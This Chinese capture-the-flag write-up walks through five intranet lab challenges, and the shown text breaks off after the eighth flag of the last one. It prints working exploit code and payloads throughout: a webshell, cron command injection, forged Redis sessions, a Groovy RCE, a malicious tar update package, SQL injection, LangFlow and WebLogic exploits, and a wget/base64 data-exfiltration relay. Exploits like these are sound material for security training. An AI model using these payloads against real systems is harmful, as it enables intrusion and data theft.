比赛时间:2026-08-23 至 2026-08-23。共展开 6 题,其中 5 题全部解出(21 面 flag):Image Relay(3 面)、mesh_hub(3 面)、fleet_sync(3 面)、Integrated Intranet(11 面)、joom(1 面);next_research 一题未出。每题入口均为 SSH 跳板机,靶标位于跳板机内网,flag 按题内编号顺序整理如下。

Image Relay —— 解析差异与定时任务提权(3/3,得分 264.32)

题目:集成 FTP 文件管理与图片导航的 Web 应用(questionId: 1k0lad237vo0mr7epi3ne4i8c3ca3pc8)。SSH 跳板机 161.81.254.143:24424,内网 10.114.1.0/24,靶机 10.114.1.2。

flag位置手法
flag1flag1{9a968071-ebd7-46ae-b076-75a621962b5b}FTP 匿名根目录 show_img_v1.0.php 注释匿名 FTP 源码泄露
flag2flag2{59397408-9ca3-457e-bc4d-7822a2b489ff}/rm_img.py 内 STAGE_FLAGCVE-2024-10524 解析差异 SSRF→RCE
flag3flag3{6690d538-0bd3-473e-b49f-423dbcce21dd}root-only 的 /flagcron 文件名命令注入提权

信息收集

全端口扫描:21(vsFTPd 3.0.3)、80(Apache/2.4.52 + PHP 7.3.33,主应用"App Center")、8080(nginx 静态图片)。80 端口两个入口:

  • ftp.php——"PHP FTP Web Tool",服务端代理连接 FTP,支持列目录、上传、下载;
  • show.html → show_img.php?img_url=——服务端解码 URL 后以 wget 拉取图片展示,典型 SSRF 面。

对 show_img.php 的 img_url 做矩阵化探测,实测四道校验:

校验现象结论
schemefile/ftp/gopher/https 均报 Only local images仅允许 http
host内网 IP 被拦、userinfo 混淆也被拦严格白名单,仅 127.0.0.1/localhost
字符黑名单引号、$、反引号、分号、竖线、括号、空格等全灭shell 元字符几乎封死,命令注入不可行
路径黑名单路径含 .php 直接拒绝防拉取/落盘 PHP 文件

放行字符仅:字母 数字 . / : @ _。拉取行为为 wget -P temp_img '<url>',按 URL 最后一段落盘到 Apache 的 temp_img/ 下。

flag1:匿名 FTP 源码泄露

220 (vsFTPd 3.0.3)
USER anonymous → 230 Login successful.

根目录内容:
drwxrwxrwx  pub                 ← 可写目录
-rwxrwxrwx  show_img_v1.0.php   ← 旧版源码

下载 show_img_v1.0.php,开头注释即 checkpoint:

<?php
// Stage 1 checkpoint: anonymous FTP source disclosure.
// flag1{9a968071-ebd7-46ae-b076-75a621962b5b}
if(!isset($_GET['img_url'])){
    die("Missing img_url parameter");
}
$img_url = base64_decode($_GET['img_url']);
...
# Legacy vulnerability fixed in the current version.
system("wget  -P temp_img  '".$img_url."'");

源码同时交代:旧版存在 wget 拼接命令注入(无过滤),当前版本已修复(即上面实测的四道校验)。

flag2:CVE-2024-10524 解析差异绕过 → RCE

直接命令注入被字符黑名单封死。但架构上 URL 校验由 PHP 完成、真正下载的是 wget——两者解析器不一致。CVE-2024-10524 正是 wget 的解析回退缺陷:authority 出现非数字端口等畸形结构时,wget 把 URL 当 FTP 处理。

Payload 拆解:

127.0.0.1:pub/@localhost:.phtml

PHP 侧 :以 @ 切分,127.0.0.1:pub/ 是 userinfo,host=localhost 过白名单;
         末段不含 php 子串;字符全在白名单内 → 四道校验全过
wget 侧 :端口位 pub/ 非数字 → 解析回退 → ftp://127.0.0.1/pub/@localhost:.phtml
         匿名下载本机 FTP /pub/ 下的该文件,落盘 temp_img/@localhost:.phtml
Apache :.phtml 按 PHP 执行(PHP 7.3 默认 FilesMatch .+\.ph(ar|p|tml)$)

① 上传 webshell(文件名必须与 URL 末段一致):

import io
from ftplib import FTP

webshell = b'<?php echo "AC15|"; system($_GET["1"]); ?>'
ftp = FTP("10.114.1.2")
ftp.login("anonymous", "a@b")
ftp.cwd("pub")
ftp.storbinary("STOR @localhost:.phtml", io.BytesIO(webshell))
ftp.quit()

② 触发下载:

B=$(printf %s '127.0.0.1:pub/@localhost:.phtml' | base64)
curl "http://10.114.1.2/show_img.php?img_url=$B"
# 响应中 <img src="temp_img/@localhost:.phtml">

③ 执行命令:

curl "http://10.114.1.2/temp_img/@localhost:.phtml?1=id"
# AC15|uid=33(www-data) gid=33(www-data) groups=33(www-data)

RCE 达成。读清理脚本拿 flag2:

curl "http://10.114.1.2/temp_img/@localhost:.phtml?1=cat%20/rm_img.py"
import os

# Stage 2 checkpoint: command execution and cron inspection.
STAGE_FLAG = "flag2{59397408-9ca3-457e-bc4d-7822a2b489ff}"

all_files = os.listdir('/var/www/html/temp_img/')
file_names = [f for f in all_files if os.path.isfile(os.path.join('/var/www/html/temp_img/', f))]

for i in file_names:
    os.system("rm -f /var/www/html/temp_img/"+i)
两个实测坑:temp_img/ 每分钟被 cron 清空,webshell 落盘后必须立即用;wget 不覆盖同名文件,重复触发生成 .1/.2 编号副本,改了 FTP 侧内容要访问带编号的新文件。

flag3:cron 文件名命令注入提权 root

rm_img.py 把 temp_img/ 下的文件名直接拼接进 os.system(),无任何转义,而文件名对 webshell(www-data)完全可控;cron 每分钟以 root 执行:

cat /etc/cron.d/rm_img
# * * * * * root /usr/bin/python3 /rm_img.py

注入 payload(webshell 中执行,单引号防本地展开):

touch '/var/www/html/temp_img/a;cp /flag /var/www/html/o.txt;b'

cron 到点拼接结果:

rm -f /var/www/html/temp_img/a;cp /flag /var/www/html/o.txt;b

分号截断出新命令,root 把 /flag 复制到 Web 根目录:

curl http://10.114.1.2/o.txt
# flag3{6690d538-0bd3-473e-b49f-423dbcce21dd}

探索中的备选攻击面(未成为主线)

  • 流氓 FTP:ftp.php 允许连接任意外部 FTP(仅 21 端口),可自建流氓 FTP 完全控制 RETR 返回内容;
  • PASV 重定向内网探测:数据通道跟随 227 响应中的 IP:port,开放端口挂起约 10s、关闭端口秒回,形成时延型端口扫描——实测容器内仅 21/80/8080,排除隐藏服务;
  • FTP PORT bounce:vsftpd 返回 500 Illegal PORT command,已禁用;弱口令仅 ftp:ftp(与匿名同视图)。

mesh_hub —— Spring Cloud 网关协议走私(3/3)

题目:mesh_hub(questionId: 1k0lad235tegat7epi3ne4i8c2ca3pc7),附件 mesh_hub.zip 含 ctf-gateway.jar、chestnut-admin.jar 两个可审计构件。SSH 跳板机 → 内网 10.74.1.0/24,靶机 10.74.1.3。

flag位置手法
flag1flag1{71ae62e2-acf0-43b8-b233-d6f33d78cbd2}网关 JVM 启动参数Actuator heapdump 提取
flag2flag2{d14dd382-715a-4252-b8a6-c9c8e5881665}CMS 公告 noticeContenttcps 解密代理伪造 Sa-Token 会话
flag3flag3{dd34be18-009b-4d6a-b8e3-e54d49c792f0}CMS 容器 /flag伪造会话调 Groovy 接口 RCE

信息收集与代码审计

端口:80(CMS 前端)、6379(Redis 需认证)、8080(Spring Cloud Gateway 流量入口)、8090(CMS 后端 API)。访问 http://10.74.1.3:8080/actuator 直接列出全部端点——未认证,含两个高危端点:/actuator/gateway/routes(可读可写)与 /actuator/heapdump。附件 application.yml 证实 management.endpoints.web.exposure.include: "*"

反编译 ctf-gateway.jar 得三个业务类,两个是核心:

TcpsSenderFilter(自定义全局过滤器)——对 scheme 为 tcps:// 的路由,把请求参数 msg(base64 的 iv(12B)+ciphertext+tag(16B))AES-GCM 解密后,明文作为原始 TCP 字节发往路由目标,响应固定 200 success:

if (!"tcps".equalsIgnoreCase(uri.getScheme()))
    return chain.filter(exchange);                    // 只拦 tcps://
exchange.getAttributes().put(GATEWAY_ALREADY_ROUTED_ATTR, TRUE);
int port = uri.getPort() < 0 ? 1231 : uri.getPort();
String msg = exchange.getRequest().getQueryParams().getFirst("msg");
data = AesGcm.decryptIvPrefixed(Base64.getDecoder().decode(msg));   // 解密预言机
return TcpClient.create().host(host).port(port)       // 明文原样发给目标 host:port
        .then(writeSuccess(exchange));                // 固定回 200 success

AesGcm——密钥在类加载时以强随机源生成,仅存 JVM 堆内静态字段:

static {
    KeyGenerator kg = KeyGenerator.getInstance("AES");
    kg.init(128, SecureRandom.getInstanceStrong());
    key = kg.generateKey();                           // 随网关重启轮换
}

chestnut-admin.jar 中的 GroovyController:POST /groovy/exec(经网关 StripPrefix=1 后外部路径为 /prod-api/groovy/exec),需 tool:groovy:exec 权限,脚本输出放在响应 data 字段。

CMS 用 Sa-Token 认证,会话全在 Redis(key 前缀即 token-name=Authorization,loginType=sys_user):

Authorization:sys_user:token-session:<TOKEN>   → SaSession 对象(Jackson 多态 JSON)
Authorization:sys_user:token:<TOKEN>           → "1"(loginId)
Authorization:sys_user:last-active:<TOKEN>     → "<毫秒时间戳>"

flag1:heapdump 提取 JVM 启动参数

/actuator/env 的 Sanitizer 会把 sun.java.command 等属性脱敏成星号;heapdump 保留原始字符串。动作序列(先注册 tcps 路由并触发一次解密失败,促使 AesGcm 类加载、密钥入堆):

POST /actuator/gateway/routes/redis
{"id":"redis","uri":"tcps://127.0.0.1:6379",
 "predicates":[{"name":"Path","args":{"_genkey_0":"/redis/**"}}],"order":-3}

POST /actuator/gateway/refresh
GET  /redis/test?msg=AAAA          → 400 decrypt failed(AesGcm 类加载完成)
GET  /actuator/heapdump            → 约 39MB hprof

搜 flag 与密钥:

strings heapdump | grep -o 'flag[0-9]*{[^}]*}'
# flag1{71ae62e2-acf0-43b8-b233-d6f33d78cbd2}

堆中上下文揭示注入方式:-Dmesh.hub.stage1.flag=flag1{...}

同一份 heapdump 还有 AesGcm.key(AES-128)与 Redis 密码 1jxhjais1ue8fw。密钥提取按 hprof 两遍扫描:先收集 STRING 与 LOAD_CLASS 记录;再扫 HEAP_DUMP 段,从 com/ctf/springcloud_ctf/AesGcm 的 CLASS_DUMP 静态字段表拿到 key 引用,解到 SecretKeySpec 实例的 byte[](16 字节即 AES-128 密钥)。

密钥随时轮换:网关 JVM 重启后旧密钥解密报 Tag mismatch!,必须重拉当次堆重新提取。

flag2:tcps 解密代理伪造 Sa-Token 超管会话

网关此时已是"解密代理":本地用堆中密钥加密任意 RESP 报文 → 网关解密 → 原样写进 127.0.0.1:6379。伪造会话完整脚本:

import base64, os, json, time, secrets, requests
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes

KEY = bytes.fromhex("e859924ea2f873b7092d4509a23b9172")   # 当次 heapdump 提取值

def enc(plaintext: bytes) -> str:
    iv = os.urandom(12)
    e = Cipher(algorithms.AES(KEY), modes.GCM(iv)).encryptor()
    ct = e.update(plaintext) + e.finalize()
    return base64.b64encode(iv + ct + e.tag).decode()      # base64(iv12+ct+tag16)

def resp_cmd(*args):
    out = b"*%d\r\n" % len(args)
    for a in args:
        a = a.encode() if isinstance(a, str) else a
        out += b"$%d\r\n%s\r\n" % (len(a), a)
    return out

TOKEN = secrets.token_hex(16)
ms = int(time.time() * 1000)          # 必须当前毫秒,否则 active-timeout 立即失效

session = {
    "@class": "cn.dev33.satoken.session.SaSession",
    "id": f"Authorization:sys_user:token-session:{TOKEN}",
    "type": "Token-Session",
    "loginType": "sys_user",
    "token": TOKEN,
    "dataMap": {"USER": {
        "@class": "com.chestnut.common.security.domain.LoginUser",
        "userId": "1", "userType": "sys_user", "username": "admin",
        "permissions": ["java.util.ImmutableCollections$ListN", ["*"]],
        "superAdministrator": True,
    }},
}

payload = b"".join([
    resp_cmd("auth", "1jxhjais1ue8fw"),
    resp_cmd("set", f"Authorization:sys_user:token-session:{TOKEN}",
             json.dumps(session, separators=(",", ":"))),
    resp_cmd("set", f"Authorization:sys_user:token:{TOKEN}", '"1"'),
    resp_cmd("set", f"Authorization:sys_user:last-active:{TOKEN}", f'"{ms}"'),
])

requests.get("http://10.74.1.3:8080/redis/test", params={"msg": enc(payload)})
# → 200 success(只代表网关流程走完,不代表 Redis 执行成功)

用伪造会话读公告:

GET /prod-api/system/notice/list
Authorization: Bearer <TOKEN>

{"code":200,"msg":"执行成功","data":{"rows":[{
  "noticeTitle":"Operational trace",
  "noticeContent":"flag2{d14dd382-715a-4252-b8a6-c9c8e5881665}",
  ...}], "total":"2"}}
细节:permissions 必须用 Jackson 多态写法 ["java.util.ImmutableCollections$ListN", ["*"]],纯 JSON 数组反序列化失败;报文用 RESP 批量字符串(按长度切分),天然免疫 JSON 引号转义。

flag3:Groovy 后台脚本执行 RCE

伪造会话的 superAdministrator + permissions=["*"] 直接通过 tool:groovy:exec 校验:

payload = '''
package com.chestnut.system.groovy;
import java.io.PrintWriter;

public class TestGroovyScript extends BaseGroovyScript {
    @Override
    protected void run(PrintWriter out) {
        def cmd = "cat /flag".execute();
        cmd.waitFor();
        out.println(cmd.in.text);
    }
}
'''

r = requests.post("http://10.74.1.3:8080/prod-api/groovy/exec",
                  json={"scriptText": payload},
                  headers={"Authorization": f"Bearer {TOKEN}"})

{"code":200,"msg":"执行成功","data":"flag3{dd34be18-009b-4d6a-b8e3-e54d49c792f0}\n"}
踩坑:接口真实路径无 system 前缀(以反编译为准);凭直觉打 /prod-api/system/groovy/exec 会得到 500 No static resource。

fleet_sync —— 车队维护平台供应链攻击(3/3,得分 300)

题目:fleet_sync 智能车队云端维护平台(questionId: 1k0lad23a227hv7epi3ne4i8c4ca3pc9),黑盒无附件。入口 ssh://161.81.254.143:20355(ctf/3XQTzalK)。

flag位置手法
flag1flag1{ec486fd8-85cb-40a4-ab7b-ef0c949c27c2}stage_flags 表/query SQL 注入 union 拖库
flag2flag2{03e8573c-f1a5-45f8-8ad5-fbe316c5b686}日志尾部审计标记/upload_log 服务端自动附加
flag3flag3{94205ade-d0e2-4a80-8be0-42823b0039b7}root-only /flag恶意维护包 tar 符号链接写穿 RCE

侦察与 API 面枚举

内网 10.154.1.0/24 仅 10.154.1.3:5000 一个服务(Flask,Werkzeug/3.1.8 Python/3.11.15)。常规路径全 404,改三层爆破:字典 GET 扫描 + 领域词两段式路径扫描 + POST 扫描(405 与业务响应可区分真实 POST 路由),确认端点面:

端点方法功能关键行为
/logs?limit=NGET日志列表返回 id,size,created_at
/log?id=NGET读单条日志realpath 必须在 /app/logs/ 下
/upload_logPOST日志上报multipart 字段 file;落盘追加审计标记
/query?where=GET/POST版本查询where 拼接 SQL(注入点)
/check_updateGET代理轮询口返回 versions 中 id 最大一行
/report_statusPOST安装上报写 reports 表

flag1:/query SQL 注入(union + 堆叠写原语)

where 参数直接拼接 SQLite,语法错误原样回显。行为测绘定 payload 形态:

where=1                    → near "1": syntax error(裸值不可用)
where=true                 → 200 返回全部行(标识符形态可用)
where=true LIMIT 0         → near "order": syntax error(尾部模板含 order by)
where=true UNION SELECT 1,2,3    → 列数正确但 ORDER BY 未闭合
where=true UNION SELECT 1,2,3--  → 200 注入成功(3 列)

读库结构、拖 flag1:

GET /query?where=false UNION SELECT group_concat(sql),1,2 FROM sqlite_master--
→ versions / stage_flags / reports / logs 四表结构

GET /query?where=false UNION SELECT name,flag,description FROM stage_flags--
{"items":[..., {"url":"flag1{ec486fd8-85cb-40a4-ab7b-ef0c949c27c2}","version":"sqli"}]}

关键写原语——堆叠语句报错但实际执行(Python sqlite3 先执行再抛异常,应用不回滚):

GET /query?where=true;UPDATE logs SET path="/app/app.py" WHERE id=1--
→ {"message":"You can only execute one statement at a time.","status":"error"}
   但 SELECT 验证 path 已变成 /app/app.py → 全库任意写生效

flag2:日志上报审计标记

echo "hello" > t.txt
curl -s -X POST -F "file=@t.txt" http://10.154.1.3:5000/upload_log
{"id":1,"status":"success"}          ← 字段名只认 file

curl -s "http://10.154.1.3:5000/log?id=1"
hello
# fleet-audit-marker: flag2{03e8573c-f1a5-45f8-8ad5-fbe316c5b686}

原始 9 字节存储后变 86 字节:服务端每次上传都追加 \n# fleet-audit-marker: flag2{...}\n

flag3:边缘代理更新链 → tar 符号链接写穿 → root RCE

黑盒测绘出代理三条隐藏规则:

  1. /check_update 返回 versions 中 id 最大(最新插入)的行,与版本号数值无关;
  2. checksum/size 为空时代理直接跳过下载(最大陷阱);
  3. 代理每约 35 秒轮询并按 url 拉取(跳板机 OOB 服务器实测确认)。

排除项(实测无效):url 内 shell 元字符注入(带引号下载,;id 被完整当 URL 请求);tar 成员路径穿越(.. 被拒绝);/metadata 的 checksum 不构成 oracle。

RCE 后取得的源码印证缺陷组合:

def install_update(ver, pkg_path):
    ver_dir = os.path.join(CACHE_DIR, "version-" + ver)
    with tarfile.open(pkg_path, "r") as tar:
        for member in tar.getmembers():
            if '..' in member.name:                  # 防了路径穿越
                raise RuntimeError("suspicious file detected", member.name)
        tar.extractall(path=ver_dir)                 # ① 但不校验符号链接!
    installer = os.path.join(BASE_DIR, "install.py")
    r = subprocess.run([sys.executable, installer, ...])
    # ② 解压后固定执行 /app/client/install.py,代理进程为 root

包内先放符号链接成员 a → /app/client/install.py,再放同名普通文件成员 a:解压器创建链接后以 open() 写第二个成员,写穿符号链接覆盖真实 install.py,随后被 root 执行。

恶意安装器 install_pwn.py(侦察结果回写 /app/logs/):

import os,subprocess,glob,time
def run(c):
    try: return subprocess.run(c,shell=True,capture_output=True,text=True,timeout=20).stdout
    except Exception as e: return "ERR:%s\n"%e
lines=["TIME %s\n"%time.strftime("%Y-%m-%d %H:%M:%S"),
       "== id ==\n"+run("id"),
       "== ls / ==\n"+run("ls -la /"),
       "== env ==\n"+run("env")]
for f in glob.glob("/app/client/*.py")+glob.glob("/app/*.py"):
    try: lines.append("== FILE %s ==\n%s\n"%(f,open(f,errors="replace").read()))
    except Exception as e: pass
lines.append("== find flags ==\n"+run('find / -maxdepth 4 -iname "*flag*" 2>/dev/null | head -50'))
for f in glob.glob("/flag*"):
    try: lines.append("== FLAGFILE %s ==\n%s\n"%(f,open(f,errors="replace").read()))
    except Exception as e: pass
open("/app/logs/agent_pwn.log","w").write("".join(lines))

构造攻击包(tar 符号链接 + 同名文件写穿):

import tarfile, io
t = tarfile.open("pwn.tar", "w")
def reg(name, data, mode=0o644):
    ti = tarfile.TarInfo(name); ti.size = len(data); ti.mode = mode
    t.addfile(ti, io.BytesIO(data))
def sym(name, target):
    ti = tarfile.TarInfo(name); ti.type = tarfile.SYMTYPE; ti.linkname = target
    t.addfile(ti)
reg("release_notes.txt", b"Initial release\nDemo fixes and improvements\n")  # 伪装正常包
reg("car.img", b"")                       # 与官方包一致(空镜像)
sym("a", "/app/client/install.py")        # ① 符号链接成员
reg("a", open("install_pwn.py","rb").read(), 0o755)   # ② 同名文件写穿
t.close()

三步投递(结合规则 1/2):

# ① 上传恶意包(tar 解析忽略尾部追加的 marker 文本)
curl -s -X POST -F "file=@pwn.tar;type=application/x-tar" http://10.154.1.3:5000/upload_log
{"id":47,"status":"success"}

# ② 计算实际服务字节(tar+marker 行)的 sha256/size —— checksum 门禁要求
curl -s "http://10.154.1.3:5000/log?id=47" | sha256sum
81d96f644ccf76c51e692c7019c8907fe640c732f0650551b6687143e133e838
curl -s "http://10.154.1.3:5000/log?id=47" | wc -c
10307
# ③ SQLi 堆叠注册新版本(成为最新 id 行 + checksum/size 非空)
GET /query?where=true;INSERT INTO versions(version,url,created_at,notes,checksum,size)
     VALUES('7.7.7-pwn','/log?id=47',datetime('now'),'',
            '81d96f644ccf76c51e692c7019c8907fe640c732f0650551b6687143e133e838',10307)--

curl -s http://10.154.1.3:5000/check_update
{"url":"/log?id=47","version":"7.7.7-pwn"}

约 35 秒后代理完成"下载 → 解压(写穿覆盖 install.py)→ root 执行"。回传读取:

GET /query?where=true;UPDATE logs SET path="/app/logs/agent_pwn.log" WHERE id=1--
curl -s "http://10.154.1.3:5000/log?id=1"

== id ==
uid=0(root) gid=0(root) groups=0(root)
== FLAGFILE /flag ==
flag3{94205ade-d0e2-4a80-8be0-42823b0039b7}
黑盒阶段最有价值的经验:checksum 空值门禁让早期注册的版本代理始终不下载,兜圈换了无数包结构——应先用 OOB 验证"代理到底拉没拉"再谈包内容;报错不等于失败,堆叠语句要验证副作用;tar-slip 被防御而符号链接不设防,两类都要测。

Integrated Intranet —— 四安全域横向渗透(11/11,得分 766.99)

题目:Integrated Intranet(questionId: 1k0lad23h8tm9m7epi3ne4i8c7ca3pcc)。SSH 跳板机 161.81.254.143:20159(ctf/9wqb05pc)→ 四安全域仿真内网,双网卡主机逐级串联:

DMZ 10.109.2.0/24    :门户(10.109.2.8)★双网卡 → 业务区
  10.109.2.5 MinIO 9000/9001 · 10.109.2.6 MCP-Hub 8000
  10.109.2.7 LangFlow 7860 · 10.109.2.3 MySQL 3306(未用到)
业务区 10.106.2.0/24 :WebLogic(10.106.2.3:7001)★双网卡 → 研发区
研发区 10.107.2.0/24 :CodeForge AI(10.107.2.3:8000)★双网卡 → 工控区
工控区 10.108.2.0/24 :超算中心(10.108.2.3:8080) · Modbus 网关(10.108.2.4:5020)
flag位置关键手法
flag1flag1{de80d9b83294ef84258763431a1cf73f}DMZ 门户 /var/www/html/flag模板 eval RCE 后读文件
flag2flag2{4960bb72bbba9645a1f06d88857eb467}DMZ 门户 /flAg同上
flag3flag3{ea98e3c575134e213058f42482f91a0d}DMZ MinIO flag 桶 fLag 对象config.php 泄露凭证
flag4flag4{d200954787478165deaa2be540735e85}DMZ MariaDB corp_portal.flag 表news.php 联合注入拖库
flag5flag5{e75a9e5f165e92de3a94fd2013a29c11}DMZ LangFlow /flaGCVE-2025-3248 未授权 RCE
flag6flag6{bb3f4cfcb30450d155e6b1fe59698db2}DMZ MCP-Hub /F1aaag盲注拿 admin token → 工具链执行
flag7flag7{c1883b36a2db1f158bbb21f0894f73d6}业务区 WebLogic /F1agCVE-2017-10271 盲打+回传链
flag8flag8{e83bf528d67458ab6c8271af85731ad1}工控区 Modbus 网关cmd7 重置密码直接返回
flag9flag9{5358c00018c8c5c38538bfd65e90fa80}工控区 Modbus 网关cmd6 登录 + cmd5 命令执行
flag10flag10{f18f285eb9e63be9303fb5c7981999c6}工控区超算中心路径穿越 + 恶意固件上传
flag11flag11{2a50daae8fb60761fc0c33ad1eb061ee}研发区 CodeForge /F1agAgent shell 解锁 + pytest RCE

攻击链总览

本题依赖链较长,先行说明:DMZ 政务门户是主线突破口——SQL 注入(flag4)读到 config.php 与前端加密脚本,解出 admin 口令登录后台,确认模板引擎存在 eval 渲染,借库中预置模板实现未授权 RCE(flag1/flag2);config.php 里的 MinIO 凭证再拿下对象存储(flag3)。门户机双网卡通业务区,WebLogic(flag7)双网卡通研发区 CodeForge(flag11),后者双网卡通工控区(flag8/flag9/flag10)。LangFlow(flag5)与 MCP-Hub(flag6)为 DMZ 内独立入口。以下按 flag 编号顺序逐面展开。

flag1 / flag2:政务门户模板 eval RCE

前置(注入与拖库细节见 flag4):以 news.php 注入 + LOAD_FILE 读出 config.php 与 /static/crypto.js,用其中的 AES-128-ECB 固定密钥解开 users 表,得到 admin 口令 RolloMir202x@cool123,登录后台(admin/login.php 提交 AES 加密后的密码)。

读 includes/template.php,发现模板渲染直接 eval:

function render_template($template, $vars = []) {
    extract($vars);
    return preg_replace_callback('/\{\{\s*(.+?)\s*\}\}/s',
        function ($m) use ($vars) { extract($vars); return eval('return ' . trim($m[1]) . ';'); },
        $template);
}

首页渲染 notice_template,而库里预置值就是 {{ shell_exec($_GET["c"]) }}——未授权 RCE:

GET /?c=id                      → uid=33(www-data)
GET /?c=cat+/var/www/html/flag  → flag1{de80d9b83294ef84258763431a1cf73f}
GET /?c=cat+/flAg               → flag2{4960bb72bbba9645a1f06d88857eb467}

/proc/net/fib_trie 发现该机双网卡 10.109.2.8 + 10.106.2.2——业务区入口到手(见 flag7)。

flag3:MinIO

用泄露凭证 minioadmin / rollotomaxx@minioadmin(来自门户 config.php,见 flag4)走 S3 SigV4(自写约 60 行 python 签名客户端,容器无 mc):列桶得 deploy、flag;flag 桶内对象 fLag 即 flag3{ea98e3c575134e213058f42482f91a0d}。deploy 桶另泄露门户整站源码与 Industrial_Gate_damo.zip(Modbus 网关 worker 源码,为 flag8/9 铺路)。

flag4:SQL 注入与拖库

news.php?id= 经典注入(MariaDB 11.8,DB 用户 root@localhost,无 WAF):

id=1'              → PDO 报错(注入确认)
id=1 order by 2    → 正常;order by 3 报错 → 2 列
id=-1 union select 1,2        → 第 1 列回显为标题
union select group_concat(concat_ws(0x3a,id,flag)),2 from flag
→ flag4{d200954787478165deaa2be540735e85}      (corp_portal 库 flag 表)

LOAD_FILE 读源码 → 凭证连环泄露

DB 是 root,hex 编码回显读源码:

union select hex(load_file(0x2f7661722f7777772f68746d6c2f636f6e6669672e706870)),2

/var/www/html/config.php 泄露三类关键信息:

define('DB_PASS', 'Asterion#SecureDb!2026');          // MariaDB root
define('MINIO_USER', 'minioadmin');
define('MINIO_PASS', 'rollotomaxx@minioadmin');        // MinIO 超管 → flag3
// 密码前端 AES 加密,见 /static/crypto.js

crypto.js 给出 AES-128-ECB 固定密钥 RolloTomasi202x!,解开 users 表全部口令:admin=RolloMir202x@cool123、zhangsan=Zhangsan@123、lisi=Lisi@123456、wangwu=Wangwu@123。settings 表另有伏笔:notice_template = {{ shell_exec($_GET["c"]) }}。

flag5:LangFlow CVE-2025-3248

http://10.109.2.7:7860/api/v1/version 报 1.2.0,存在 CVE-2025-3248(/api/v1/validate/code 未授权代码执行)。decorator 在 exec() 上下文注入:

POST /api/v1/validate/code
{"code": "@exec(\"raise Exception(__import__('subprocess').check_output('id', shell=True, text=True))\")\ndef foo(): pass"}

响应的 function.errors 直接回显命令输出且为 root。容器根目录读 /flaG → flag5{e75a9e5f165e92de3a94fd2013a29c11}。环境变量另泄露超管 administrator / TQI.#Lxk。

坑:LangFlow 容器无 ip/ss/curl,只有 python3;枚举用 /proc/net/fib_trie + fcntl.ioctl(SIOCGIFADDR)。

flag6:MCP-Hub 五段式工具链(本题最硬一环)

① 布尔盲注拿 admin token。前端 app.js 注释直接标注 Marketplace (SQL Injection Entry Point)。查询上下文是 LIKE '%search%',WAF 拦 /* 和 --,不能用注释符,用模式闭合术构造 oracle:

search = zzz%' OR <COND> AND '%'='
→ WHERE name LIKE '%zzz%' OR <COND> AND '%'='%'

COND 真返回 4 条、假返回 0 条。substr+unicode() 二分逐字符提取 (SELECT api_token FROM users WHERE username='admin'),得 mcp_admin_8074543d5bc031ef5bd2f699(chains 接口全部 admin-only,强制入口)。

② Protocol Monitor 发现隐藏工具:POST /api/monitor/discover 起始工具 mcp_recon;执行后发现 mcp_recon / mcp_crafter / mcp_executor 三个工具。

③ 命令分片过链边界 WAF:crafter 要求 fragments[],命令按 ≤3 字符分片(cat /F1aaag → ["cat"," /F","1aa","ag"])。

④ 解密链步骤响应:前端写明步骤响应用 aes-256-xor 加密、密钥 sha256("{user_id}:{timestamp}")——实测就是 sha256 密钥循环 XOR:

key = sha256(f"{user_id}:{timestamp}".encode()).digest()
plain = bytes(b ^ key[i % 32] for i, b in enumerate(raw))

⑤ 动态授权码 + 紧邻上一步签名:POST /api/auth/compute_code {"tool_id":"mcp_executor","timestamp":<step0_ts>} 拿 auth_code;executor 入参 {payload, auth_code, timestamp(=step0), upstream_signature(=crafter 的 hmac_signature)}。执行 cat /F1aaag 得 flag6{bb3f4cfcb30450d155e6b1fe59698db2},响应 chain_bypass=true 确认绕过链成立。

flag7:WebLogic CVE-2017-10271 盲打与回传链

门户机扫业务区发现 10.106.2.3:7001(Servlet/2.5 即 WebLogic 10.3.6 时代),/wls-wsat/CoordinatorPortType 200 → XMLDecoder 反序列化 RCE:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
 <soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
  <java version="1.8" class="java.beans.XMLDecoder">
   <void class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="3">
     <void index="0"><string>/bin/bash</string></void>
     <void index="1"><string>-c</string></void>
     <void index="2"><string><![CDATA[ <命令> ]]></string></void>
    </array>
    <void method="start"/>
   </void>
  </java>
</work:WorkContext></soapenv:Header>
 <soapenv:Body/>
</soapenv:Envelope>
两个坑:ProcessBuilder 无无参构造,必须用 void class 标签而非 object;容器无 curl 只有 wget/bash。

回传链(路径上每一跳都不能直连):WebLogic 用 wget 把命令输出的 URL 安全 base64 编进门户 RCE 的 c 参数,门户侧 recv.sh 解码落盘,跳板机再读回:

# WebLogic 侧(塞进进程布)
OUT=$({ <cmd> ; } 2>&1 | base64 -w0 | tr '/+' '_-')
wget -q -T8 -O/dev/null "http://10.106.2.2/?c=/bin/bash%20/tmp/w-d913/recv.sh%20$OUT"
# 门户侧 recv.sh
echo "$1" | tr '_-' '/+' | base64 -d > /tmp/w-d913/wl-w1.out
坑:GNU tr 把 - 开头的字符集当选项(invalid option),调换成 tr '/+' '_-' 解决。

链路打通后 WebLogic 为 root,读 /F1ag → flag7{c1883b36a2db1f158bbb21f0894f73d6};其双网卡 10.106.2.3 + 10.107.2.2 通研发区。

flag8:Modbus 网关——重置密码直接返回 flag

网关 10.108.2.4:5020 跑的正是 MinIO deploy 桶泄露的 worker 源码:轮询保持寄存器,trigger=1 时按 cmd_id 分发。寄存器协议:

地址含义
0cmd_id(命令字)
1trigger(写 1 触发,执行后清 0)
2..65参数区(ASCII 大端打包进 16 位寄存器,奇数长度补 \x00)
100输出长度(字节数)
101..132输出内容

命令字:1 date / 2 echo / 3 rand / 4 help / 5 safe_exec(需认证)/ 6 login / 7 reset_password。

自写客户端核心(MBAP + FC0x10 写多寄存器 / FC0x03 读):

def run_cmd(self, cmd_id, param, tid):
    regs = ascii_to_regs(param)
    self.write_regs(tid, 2, regs + [0] * (64 - len(regs)))  # 先写参数区
    self.write_regs(tid + 1, 0, [cmd_id])                   # 再写命令字
    self.write_regs(tid + 2, 1, [1])                        # 最后写触发位
    time.sleep(1)
    out_len = self.read_regs(tid + 3, 100, 1)[0]
    n = min((out_len + 1) // 2 + 1, 33)
    return regs_to_ascii(self.read_regs(tid + 4, 101, min(n, 32)))

命令字 7 是重置密码(参数固定为六个井号),返回值直接就是 flag:

run_cmd(7, "######")
→ flag8{e83bf528d67458ab6c8271af85731ad1}
时序敏感:参数区 → 命令字 → 触发位,顺序错会吃到上一轮残留参数。

